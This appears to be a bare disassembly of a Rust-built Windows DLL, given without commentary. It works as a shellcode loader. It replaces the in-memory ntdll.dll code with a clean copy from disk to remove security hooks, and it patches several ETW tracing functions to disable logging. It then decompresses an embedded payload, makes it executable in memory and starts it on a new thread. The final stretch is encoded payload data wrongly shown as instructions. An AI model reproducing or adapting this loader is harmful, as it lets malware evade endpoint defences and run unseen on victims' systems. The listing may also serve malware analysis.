mov rcx, qword [0x104b80c8]
test rcx, rcx
jne 0x10004cf5
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005ed0
mov rcx, rax
mov qword [0x104b80c8], rax
mov r8d, 0x10
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x10005ed0
mov word [rax], 0x43
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], 8
mov qword [rsp + 0x1b0], 1
lea rbx, [0x104a6224]
mov esi, 1
xor r13d, r13d
lea r14, [0x104a6240]
lea r15, str.C:WindowsSystem32_ntdll.dll
mov r12, 0xffffffffffffffff
lea rdi, [rsp + 0x1a0]
jmp 0x10004d73
mov word [rax + rsi*2], r13w
inc rsi
mov qword [rsp + 0x1b0], rsi
mov r13d, ebp
test r13w, r13w
jne 0x10004e00
cmp rbx, r14
je 0x10004e95
movzx ecx, byte [rbx]
test cl, cl
js 0x10004da1
inc rbx
mov r13d, ecx
xor ebp, ebp
cmp rsi, qword [rsp + 0x1a8]
jne 0x10004d60
jmp 0x10004e10
mov r13d, ecx
and r13d, 0x1f
movzx r8d, byte [rbx + 1]
and r8d, 0x3f
cmp cl, 0xdf
jbe 0x10004df3
movzx edx, byte [rbx + 2]
shl r8d, 6
and edx, 0x3f
or edx, r8d
cmp cl, 0xf0
jb 0x10004e4a
movzx ecx, byte [rbx + 3]
add rbx, 4
and r13d, 7
shl r13d, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or r13d, ecx
cmp r13d, 0xffff
jbe 0x10004e00
jmp 0x10004e5e
add rbx, 2
shl r13d, 6
or r13d, r8d
nop
xor ebp, ebp
cmp rsi, qword [rsp + 0x1a8]
jne 0x10004d60
mov r8, r15
sub r8, rbx
add r8, 0x1d
add r8, 3
cmovb r8, r12
shr r8, 2
cmp bp, 1
sbb r8, 0
add r8, 2
mov rcx, rdi
mov rdx, rsi
call fcn.1000c7e0
mov rax, qword [rsp + 0x1a0]
jmp 0x10004d60
add rbx, 3
shl r13d, 0xc
or r13d, edx
cmp r13d, 0xffff
jbe 0x10004e00
lea ecx, [r13 + 0xff0000]
shr ecx, 0xa
or ecx, 0xd800
and r13d, 0x3ff
or r13d, 0xdc00
mov ebp, r13d
mov r13d, ecx
cmp rsi, qword [rsp + 0x1a8]
jne 0x10004d60
jmp 0x10004e10
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0xf0], rax
movdqu xmm0, xmmword [rsp + 0x1a0]
movdqa xmmword [rsp + 0xe0], xmm0
mov rsi, qword [rsp + 0xe8]
cmp rax, rsi
jne 0x10004ee4
lea rcx, [rsp + 0xe0]
mov rdx, rsi
call fcn.1000c720
mov rsi, qword [rsp + 0xe8]
mov rax, qword [rsp + 0xf0]
mov rbx, qword [rsp + 0xe0]
mov word [rbx + rax*2], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov rcx, rbx
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call sub.KERNEL32.dll_CreateFileW
mov rdi, rax
test rsi, rsi
je 0x10004f3a
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, rbx
call fcn.1003965c
cmp rdi, 0xffffffffffffffff
je 0x1000514c
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rdi
xor edx, edx
mov r8d, 0x1000002
xor r9d, r9d
call sub.KERNEL32.dll_CreateFileMappingW
mov rsi, rax
mov rcx, rdi
call sub.KERNEL32.dll_CloseHandle
test rsi, rsi
je 0x1000514c
mov qword [rsp + 0x20], 0
mov rcx, rsi
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_MapViewOfFile
test rax, rax
je 0x10005206
mov edx, dword [rax + 0x3c]
mov ecx, dword [rdx + rax + 0x50]
cmp rcx, 0x40
jb 0x10005f71
mov r8b, 4
test al, 3
jne 0x100060b8
movzx r9d, word [rax]
cmp r9d, 0x5a4d
jne 0x10005f8f
test dl, 3
jne 0x100060b8
cmp edx, 0x1000000
ja 0x10005f97
lea r9, [rdx + 0x88]
cmp r9, rcx
ja 0x10005f71
cmp dword [rax + rdx], 0x4550
jne 0x10005f8f
movzx r10d, word [rax + rdx + 0x18]
cmp r10d, 0x20b
je 0x1000501f
mov r8b, 5
cmp r10d, 0x10b
jne 0x100060b8
mov r8d, dword [rax + rdx + 0x54]
cmp ecx, r8d
jb 0x10005f71
cmp r8d, dword [rax + rdx + 0x50]
ja 0x10005f97
movzx r8d, r10w
cmp r8d, 0x20b
jne 0x100060b5
mov r8d, dword [rax + rdx + 0x84]
cmp r8d, 0x10
mov r10d, 0x10
cmovb r10d, r8d
shl r10d, 3
add r9, r10
cmp r9, rcx
ja 0x10005f71
movzx r9d, word [rax + rdx + 6]
mov r8b, 7
cmp r9, 0x60
ja 0x100060b8
shl r9, 3
lea r9, [r9 + r9*4]
lea r8, [rdx + r9]
movzx r10d, word [rax + rdx + 0x14]
lea r11, [r10 + r8]
add r11, 0x18
mov r8b, 1
cmp r11, rcx
ja 0x100060b8
add r10, rdx
lea r8, [rax + r10]
add r8, 0xfffffffffffffff0
movabs rdx, 0x747865742e
nop dword [rax]
test r9, r9
je 0x10005e17
lea r10, [r8 + 0x28]
add r9, 0xffffffffffffffd8
cmp qword [r8 + 0x28], rdx
mov r8, r10
jne 0x100050c0
mov edx, dword [r10 + 0xc]
test rdx, rdx
je 0x100060ee
mov r9d, dword [r10 + 8]
mov r10d, r9d
mov r8b, 1
add r10d, edx
jb 0x100060f1
cmp ecx, r10d
jb 0x100060f1
mov rcx, qword [rsp + 0x180]
add rcx, rdx
mov qword [0x104b8020], r9
mov qword [0x104b8028], rcx
mov rcx, rax
call sub.KERNEL32.dll_UnmapViewOfFile
jmp 0x1000520b
cmp rax, 0x36c
mov edx, 0x36b
cmovb rax, rdx
lea r8, [0x104a73a0]
mov rcx, rax
call fcn.10006d00
jmp 0x10006160
call sub.KERNEL32.dll_GetLastError
jmp 0x10005213
mov ecx, r14d
and ecx, 0xfffffffe
mov rax, qword [rsp + 0x80]
lea rdx, [rax + 0x18]
xor eax, eax
lea r8, [rsp + 0xa8]
nop word cs:[rax + rax]
mov r9, qword [rsi + rax*8]
mov qword [rdx - 0x18], r8
mov qword [rdx - 0x10], r9
mov r9, qword [rsi + rax*8 + 8]
mov qword [rdx - 8], r8
mov qword [rdx], r9
add rax, 2
add rdx, 0x20
cmp rcx, rax
jne 0x10005180
test r14b, 1
je 0x100051cc
mov rcx, qword [rsi + rax*8]
shl rax, 4
lea rdx, [rsp + 0xa8]
mov r8, qword [rsp + 0x80]
mov qword [r8 + rax], rdx
mov qword [r8 + rax + 8], rcx
mov r12, r14
cmp qword [rsp + 0x1a8], 0
jne 0x10003a39
jmp 0x10003a4a
cmp rax, 0x36c
mov edx, 0x36b
cmovb rax, rdx
lea r8, [0x104a73a0]
mov rcx, rax
call fcn.10006d00
jmp 0x10006160
call sub.KERNEL32.dll_GetLastError
mov rcx, rsi
call sub.KERNEL32.dll_CloseHandle
lea rax, [0x104b8028]
mov qword [rsp + 0x58], rax
lea rax, [fcn.10008ca0]
mov qword [rsp + 0x60], rax
lea rax, [0x104a6240]
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], 1
mov qword [rsp + 0x1c0], 0
lea r15, [rsp + 0x58]
mov qword [rsp + 0x1b0], r15
mov qword [rsp + 0x1b8], 1
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1a0]
call fcn.10006890
mov rsi, qword [rsp + 0xe0]
mov r12, qword [rsp + 0xe8]
mov rdi, qword [0x104b8020]
test rdi, rdi
je 0x100052e8
lea r14, [rdi*4]
mov rcx, qword [0x104b80c8]
test rcx, rcx
jne 0x100052c4
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x100052d9
mov rcx, rax
mov qword [0x104b80c8], rax
mov edx, 8
mov r8, r14
call sub.KERNEL32.dll_HeapAlloc
mov rbx, rax
test rax, rax
jne 0x100052ed
mov ecx, 4
mov rdx, r14
call fcn.100064f0
ud2
mov ebx, 4
mov rdx, qword [0x104b8028]
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x188]
mov r8, rbx
mov r9, rdi
call sub.ntdll.dll_NtReadVirtualMemory
test eax, eax
jne 0x10005eab
mov rdx, qword [0x104b8028]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, rbx
mov r9, rdi
call sub.KERNEL32.dll_WriteProcessMemory
cmp eax, 1
jne 0x10005eab
test rdi, rdi
je 0x10005359
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, rbx
call fcn.1003965c
test r12, r12
je 0x1000536f
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, rsi
call fcn.1003965c
lea rcx, [0x104a61c0]
call sub.KERNEL32.dll_LoadLibraryA
mov rdi, rax
lea rdx, str.EtwEventWrite
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
lea rsi, [0x104a6213]
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwNotificationRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventWriteFull
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
mov rdx, qword [section..data]
mov r8, qword [0x10046008]
lea rcx, [rsp + 0x1a0]
call fcn.10002580
mov rbx, qword [rsp + 0x1a0]
test rbx, rbx
je 0x10005f01
mov rdi, qword [rsp + 0x1a8]
mov rsi, qword [rsp + 0x1b0]
mov rdx, qword [0x10046010]
mov r8, qword [0x10046018]
lea rcx, [rsp + 0x1a0]
call fcn.10002580
mov r14, qword [rsp + 0x1a0]
test r14, r14
je 0x10005f1a
mov r12, qword [rsp + 0x1a8]
mov rdx, qword [0x10046020]
mov r8, qword [0x10046028]
lea rcx, [rsp + 0x1a0]
call fcn.10002580
mov rax, qword [rsp + 0x1a0]
test rax, rax
je 0x10005f33
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xc0], r14
mov r13, qword [rsp + 0x1a8]
movzx eax, byte [0x104b8120]
mov rcx, qword [0x104b80c8]
test rcx, rcx
jne 0x10005524
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005ee1
mov rcx, rax
mov qword [0x104b80c8], rax
mov r8d, 0x2000
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x10005ee1
mov r14, rax
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x210], xmm0
movdqa xmmword [rsp + 0x200], xmm0
movdqa xmmword [rsp + 0x1f0], xmm0
movdqa xmmword [rsp + 0x1e0], xmm0
movdqa xmmword [rsp + 0x1d0], xmm0
movdqa xmmword [rsp + 0x1c0], xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
mov qword [rsp + 0x220], 0
lea rcx, [rsp + 0x1a0]
mov rdx, 0xffffffffffffffff
xor r8d, r8d
call fcn.10042d80
cmp eax, 0xb
ja case.default.0x100055da
mov qword [rsp + 0x98], r13
mov qword [rsp + 0xa0], r12
mov qword [rsp + 0x70], rdi
mov eax, eax
lea rcx, [0x10047180]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rdi, [rsp + 0xe6]
lea rbp, [rsp + 0x1a0]
mov r8d, 0x88
mov rcx, rdi
mov rdx, rbp
call sub.msvcrt.dll_memcpy
lea rcx, [rsp + 0x1e0]
mov r8d, 0x88
mov rdx, rdi
call sub.msvcrt.dll_memcpy
pxor xmm6, xmm6
movdqu xmmword [rsp + 0x1b0], xmm6
mov qword [rsp + 0x1c0], 0
mov qword [rsp + 0x88], rbx
mov qword [rsp + 0x1c8], rbx
mov qword [rsp + 0x1d0], rsi
mov qword [rsp + 0x1d8], 0
mov qword [rsp + 0x1a0], r14
mov qword [rsp + 0x1a8], 0x2000
mov qword [rsp + 0x58], 1
movdqu xmmword [rsp + 0x60], xmm6
mov eax, 1
mov qword [rsp + 0x78], rax
lea rsi, [rsp + 0xe0]
lea rbx, [0x100471b0]
xor edi, edi
xor r12d, r12d
xor r15d, r15d
mov qword [rsp + 0xb8], r15
cmp r12, rdi
jne 0x100056c4
jmp 0x1000579d
cmp byte [r13 + 0x10], 0x23
jne case.0x10005728.2
cmp r12, rdi
je 0x1000579d
mov r14, rdi
sub r14, r12
mov r8, r14
sub r8, r15
jb 0x10005ddc
mov rax, qword [rsp + 0x78]
lea r13, [rax + r12]
lea rcx, [r15 + r13]
xor edx, edx
call sub.msvcrt.dll_memset
mov rcx, rsi
mov rdx, rbp
mov r8, r13
mov r9, r14
call fcn.10002280
cmp qword [rsp + 0xe0], 0
mov r13, qword [rsp + 0xe8]
je 0x100057f0
test r13, r13
je 0x100059c6
mov eax, r13d
and eax, 3
movsxd rax, dword [rbx + rax*4]
add rax, rbx
jmp rax
cmp byte [r13 + 0xf], 0x23
jne case.0x10005728.2
mov r15, rbx
mov rbx, rsi
mov rsi, rbp
mov r14, qword [r13 - 1]
mov rbp, qword [r13 + 7]
mov rcx, r14
call qword [rbp]
cmp qword [rbp + 8], 0
je 0x1000576f
cmp qword [rbp + 0x10], 0x11
jb 0x1000575e
mov r14, qword [r14 - 8]
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, r14
call fcn.1003965c
dec r13
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, r13
call fcn.1003965c
mov rbp, rsi
mov rsi, rbx
mov rbx, r15
mov r15, qword [rsp + 0xb8]
cmp r12, rdi
jne 0x100056c4
mov r8d, 0x20
lea rcx, [rsp + 0x58]
mov rdx, rdi
call fcn.100021c0
mov r12, qword [rsp + 0x68]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x78], rax
mov rdi, qword [rsp + 0x60]
jmp 0x100056c4
mov rax, r13
shr rax, 0x20
cmp eax, 0x23
je 0x100056bb
jmp case.0x10005728.2
cmp r14, r13
mov r15, r13
cmova r15, r14
test r13, r13
je 0x100059c6
cmp r14, r13
jb 0x10005fae
sub r15, r13
add r12, r13
mov qword [rsp + 0x68], r12
mov rax, rdi
or rax, r12
jne 0x10005694
movdqa xmmword [rsp + 0xf0], xmm6
movdqa xmmword [rsp + 0xe0], xmm6
lea r14, [rsp + 0xa8]
lea r12, [0x100471c0]
jl 0x1000585b
add al, 0
jl 0x1000585b
add al, 0
jmp 0x1000585b
cmp byte [r13 + 0x10], 0x23
jne case.0x10005728.2
mov r9d, 0x20
mov rcx, r14
mov rdx, rbp
mov r8, rsi
call fcn.10002280
cmp qword [rsp + 0xa8], 0
je case.default.0x10005893
mov r13, qword [rsp + 0xb0]
mov eax, r13d
add byte [rcx + rcx*4 - 0x18], al
and eax, 3
movsxd rax, dword [r12 + rax*4]
add rax, r12
jmp rax
lea r14, [rsp + 0xa8]
jmp 0x1000585b
mov r14, qword [rsp + 0xb0]
test r14, r14
je 0x100059c6
cmp r14, 0x21
jae 0x10005f79
lea rcx, [rsp + 0x58]
xor edx, edx
mov r8, r14
call fcn.100021c0
mov rax, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov r12, qword [rsp + 0x68]
mov qword [rsp + 0x78], rax
lea rcx, [rax + r12]
mov rdx, rsi
mov r8, r14
call sub.msvcrt.dll_memcpy
add r8d, dword [rax]
add r8d, dword [rax]
add r12, r14
mov qword [rsp + 0x68], r12
jmp 0x10005694
mov rax, r13
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x100059c6
test rax, rax
je 0x100059c6
lea rdi, [r13 - 1]
mov r14, qword [r13 - 1]
mov rsi, qword [r13 + 7]
mov rcx, r14
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x100059b5
cmp qword [rsi + 0x10], 0x11
jb 0x100059a4
mov r14, qword [r14 - 8]
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, r14
call fcn.1003965c
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, rdi
call fcn.1003965c
mov r14, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov r15, qword [rsp + 0x68]
cmp qword [rsp + 0x1a8], 0
je 0x100059f6
mov r8, qword [rsp + 0x1a0]
mov rcx, qword [0x104b80c8]
xor edx, edx
call fcn.1003965c
lea rcx, [rsp + 0x1e0]
call fcn.10040bb0
cmp qword [rsp + 0x98], 0
mov rsi, qword [rsp + 0x88]
mov rbx, qword [rsp + 0xa0]
lea r12, [rsp + 0xa8]
je 0x10005a3c
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, qword [rsp + 0xd8]
call fcn.1003965c
test rbx, rbx
je 0x10005a57
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, qword [rsp + 0xc0]
call fcn.1003965c
cmp qword [rsp + 0x70], 0
je 0x10005a70
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, rsi
call fcn.1003965c
mov qword [rsp + 0x58], 0
mov qword [rsp + 0xe0], r15
mov dword [rsp + 0xa8], 0
mov qword [rsp + 0x1a0], r15
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea rsi, [rsp + 0x58]
lea r9, [rsp + 0x1a0]
mov rcx, 0xffffffffffffffff
mov rdx, rsi
xor r8d, r8d
call sub.ntdll.dll_NtAllocateVirtualMemory
mov rdx, qword [rsp + 0x58]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, r14
mov r9, r15
call sub.ntdll.dll_NtWriteVirtualMemory
mov qword [rsp + 0x20], r12
lea r8, [rsp + 0xe0]
mov rcx, 0xffffffffffffffff
mov rdx, rsi
mov r9d, 0x20
call sub.ntdll.dll_NtProtectVirtualMemory
mov qword [rsp + 0x1a0], 0
mov rax, qword [rsp + 0x58]
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x1a0]
mov edx, 0x2000000
xor r8d, r8d
mov r9, 0xffffffffffffffff
call sub.ntdll.dll_NtCreateThreadEx
mov rcx, qword [rsp + 0x1a0]
xor edx, edx
xor r8d, r8d
call sub.ntdll.dll_NtWaitForSingleObject
test rdi, rdi
je 0x10005b80
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, r14
call fcn.1003965c
movaps xmm6, xmmword [rsp + 0x3b0]
movaps xmm7, xmmword [rsp + 0x3c0]
movaps xmm8, xmmword [rsp + 0x3d0]
movaps xmm9, xmmword [rsp + 0x3e0]
movaps xmm10, xmmword [rsp + 0x3f0]
movaps xmm11, xmmword [rsp + 0x400]
movaps xmm12, xmmword [rsp + 0x410]
movaps xmm13, xmmword [rsp + 0x420]
movaps xmm14, xmmword [rsp + 0x430]
movaps xmm15, xmmword [rsp + 0x440]
add rsp, 0x458
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, rax
call fcn.1003965c
test r13, r13
je 0x10005c15
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, qword [rsp + 0x70]
call fcn.1003965c
test rbx, rbx
mov rsi, qword [rsp + 0xd0]
je 0x10005c38
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, qword [rsp + 0x98]
call fcn.1003965c
test rsi, rsi
je 0x10005c53
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, qword [rsp + 0x80]
call fcn.1003965c
mov rcx, qword [rsp + 0xa8]
call sub.KERNEL32.dll_CloseHandle
mov dword [rsp + 0x94], eax
test eax, eax
jne 0x10004cca
call fcn.10038f20
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0xe0], rax
lea rax, [0x100178a0]
mov qword [rsp + 0xe8], rax
lea rax, [0x104adc70]
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], 1
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], 1
mov qword [rsp + 0x1c0], 0
lea rcx, [rsp + 0x94]
lea rdx, [rsp + 0x1a0]
call fcn.10038f70
ud2
mov eax, 0x23
mov edx, 0x23
lea r8, [0x104a7388]
jmp 0x1000513f
mov eax, 0x23
mov edx, 0x23
lea r8, [0x104a7388]
jmp 0x100051f9
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x1a8], 0
je 0x10005d54
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, rsi
call fcn.1003965c
xor eax, eax
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x1a8], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], r12
lea rax, [0x104a62b0]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x10048fe0]
lea r8, [rsp + 0x1a0]
mov edx, 0x2b
call fcn.100087c0
ud2
xor r8d, r8d
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, qword [rsp + 0x88]
mov r9, rdi
call fcn.100096a0
jmp 0x10006160
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srcio_borrowed_buf.rs
mov rcx, r15
mov rdx, r14
call fcn.10006c80
ud2
mov ecx, 1
mov rdx, r13
call fcn.100064f0
ud2
call fcn.100064b0
ud2
mov ecx, 1
mov edx, 9
call fcn.100064f0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_srccollections_btree_navigate.rsIndex_out_of_bounds
lea r8, [0x104a6280]
mov edx, 0x2b
call fcn.100079a0
ud2
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x1a0], 0
mov qword [rsp + 0x1a8], rax
mov qword [rsp + 0x1b0], rbx
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x1b8], rax
lea rax, [0x104a62c8]
jmp 0x10005d8d
lea rax, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_winproc_0.6.4_src_process_module.rs
mov edx, 0x104
mov rcx, r8
mov r8, rax
call fcn.10007600
ud2
mov rdi, qword [rsp + 0x88]
lea rax, str.library_alloc_src_str.rs
mov qword [rsp + 0xc8], rax
jmp 0x10005db7
call fcn.10034ce0
ud2
lea r8, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_winproc_0.6.4_src_process_mod.rs
mov rcx, r14
mov rdx, r15
call fcn.10007600
ud2
mov eax, 4
jmp 0x10005d56
mov ecx, 2
mov edx, 0x10
call fcn.100064f0
ud2
mov ecx, 1
mov edx, 0x2000
call fcn.100064f0
ud2
mov ecx, 8
mov rdx, rbx
call fcn.100064f0
ud2
movups xmm0, xmmword [rsp + 0x1a8]
movaps xmmword [rsp + 0xe0], xmm0
lea rax, [0x104a62e0]
jmp 0x10005f4a
movups xmm0, xmmword [rsp + 0x1a8]
movaps xmmword [rsp + 0xe0], xmm0
lea rax, [0x104a62f8]
jmp 0x10005f4a
movups xmm0, xmmword [rsp + 0x1a8]
movaps xmmword [rsp + 0xe0], xmm0
lea rax, [0x104a6310]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x10049000]
lea r8, [rsp + 0xe0]
mov edx, 0x2b
call fcn.100087c0
ud2
mov r8b, 1
jmp 0x100060b8
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_srciomod.rs
mov edx, 0x20
mov rcx, r14
call fcn.10007600
ud2
mov r8b, 5
jmp 0x100060b8
mov r8b, 7
jmp 0x100060b8
mov ecx, 1
mov rdx, r12
call fcn.100064f0
ud2
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srcio_borrowed_buf.rs
mov rcx, r15
mov rdx, r14
call fcn.10007600
ud2
mov r12, rdi
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r12
mov rdx, r13
call fcn.10006c80
jmp 0x10006160
mov dword [rsp + 0xa8], eax
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x58], rax
lea rax, [0x10008860]
mov qword [rsp + 0x60], rax
lea rax, [0x104adee8]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0x100], 0
mov qword [rsp + 0xf0], r15
mov qword [rsp + 0xf8], 1
lea rdx, [0x104adef8]
lea rcx, [rsp + 0xe0]
call fcn.10006c40
ud2
mov sil, 6
jmp 0x10006072
mov sil, 7
jmp 0x10006072
mov sil, 4
jmp 0x10006072
mov sil, 3
jmp 0x10006072
mov sil, 2
jmp 0x10006072
mov sil, 1
jmp 0x10006072
xor esi, esi
jmp 0x10006072
mov sil, 5
lea rcx, [rsp + 0x1a0]
call fcn.10040bb0
mov byte [rsp + 0x1a0], sil
lea rax, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_xz2_0.1.7_src_bufread.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x10049020]
lea r8, [rsp + 0x1a0]
mov edx, 0x2b
call fcn.100087c0
ud2
mov r8b, 6
mov byte [rsp + 0x1a0], r8b
lea rax, [0x104a6268]
mov qword [rsp + 0x20], rax
lea rcx, str.REASONpack_src_lib.rs
lea r9, [0x10048fc0]
lea r8, [rsp + 0x1a0]
mov edx, 6
call fcn.100087c0
ud2
xor r8d, r8d
mov byte [rsp + 0x1a0], r8b
lea rax, [0x104a6298]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x10048fc0]
lea r8, [rsp + 0x1a0]
mov edx, 0x2b
call fcn.100087c0
ud2
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, rdi
mov rdx, r12
call fcn.10008030
jmp 0x10006160
mov rdi, r12
lea rax, str.library_std_src_sys_commonwtf8.rs
mov qword [rsp + 0x170], rax
mov rcx, rdi
mov rdx, r13
mov r8, qword [rsp + 0x170]
call fcn.10007600
ud2
outsb dx, byte [rsi]
jbe 0x100531c6
xor dl, byte [rcx + 0x31]
insd dword [rdi], dx
jbe 0x100531ad
ja 0x100531cb
jno 0x100531e7
jp 0x100531c5
jp 0x100531e8
outsd dx, dword [rsi]
imul rcx, qword [rbx + 0x45], 0x4e417258
jo 0x100531f7
invalid
pop rax
xor byte [rdx + rbp*2 + 0x36], ch
pop rdx
xor r12b, byte [r11 + 0x41]
jno 0x1005322d
insd dword [rdi], dx
invalid
push 0x4b564d57
invalid
push rdi
push r14
invalid
xor byte [rbp + rax*2 + 0x49], cl
xor bh, byte [rax]
cmp qword [rbp + 0x6d], rbp
jns 0x10053231
outsb dx, byte [rsi]
push 0x78415a72
invalid
pop rdx
push rbx
push rbp
push 0x74456850
push 0x48435473
jne 0x10053249
jne 0x10053249
js 0x10053267
je 0x10053248
jno 0x10053256
xor cl, byte [rcx + 0x6a]
cmp byte [rbp + 0x52], dh
push rbx
invalid
xor dword [rdx + 0x6d], edi
ja 0x1005327d
jns 0x1005328c
jns 0x1005328c
push 0x35
xor al, 0x77
sub esi, dword [rdi]
push 0x684f4475
insd dword [rdi], dx
insd dword [rdi], dx
insb byte [rdi], dx
push rdi
jbe 0x100532b3
insd dword [rdi], dx
jne 0x100532b5
jne 0x100532b5
xor dword [rdx + 0x6e], edx
xor edi, dword [rcx + 0x46]
invalid
sub ecx, dword [rsi + 0x73]
push r9
imul edi, dword ss:[rcx + 0x4c], 0x37
pop rax
invalid
xor dword [rbx + 0x42], esp
push r8
push rbp
jno 0x100532e5
je 0x100532c9
insd dword [rdi], dx
push sp
invalid
invalid
xor al, byte [r13 + 0x7a]
imul edi, dword [rax], 0x2b6f4d39
xor al, 0x48
je 0x100532d5
jns 0x100532ee
push r14
push rsi
push 0x7a
jne 0x100532d6
insd dword [rdi], dx
insb byte [rdi], dx
jp 0x10053311
imul ecx, dword [rdi + 0x52], 0x6748554a
xor r9, qword [rdi + 0x71]
xor ecx, dword [rdi + 0x71]
jno 0x10053330
jns 0x100532e9
xor dword [rbx + 0x41], esi
jae 0x100532fb
push rsi
ja 0x10053331
cmp byte [r9 + 0x35], r13b
imul esp, dword [rdi + 0x4e], 0x5a
push rbx
pop rcx
push 0x68673973
push r10
pop rax
jae 0x10053304
push 0x58365243
jb 0x10053349
push rdi
xor bh, byte [rax]
cmp byte [rbp + 0x41], ah
push 0x53
push 0x53
xor byte [r11], r13b
pop rcx
invalid
push rsp
imul esp, dword [rdx + rbx*2 + 0x61], 0x59
invalid
invalid
js 0x10053353
insd dword [rdi], dx
invalid
push rsp
jno 0x1005336a
pop r8
xor dl, byte [rsi + 0x5a]
push rsi
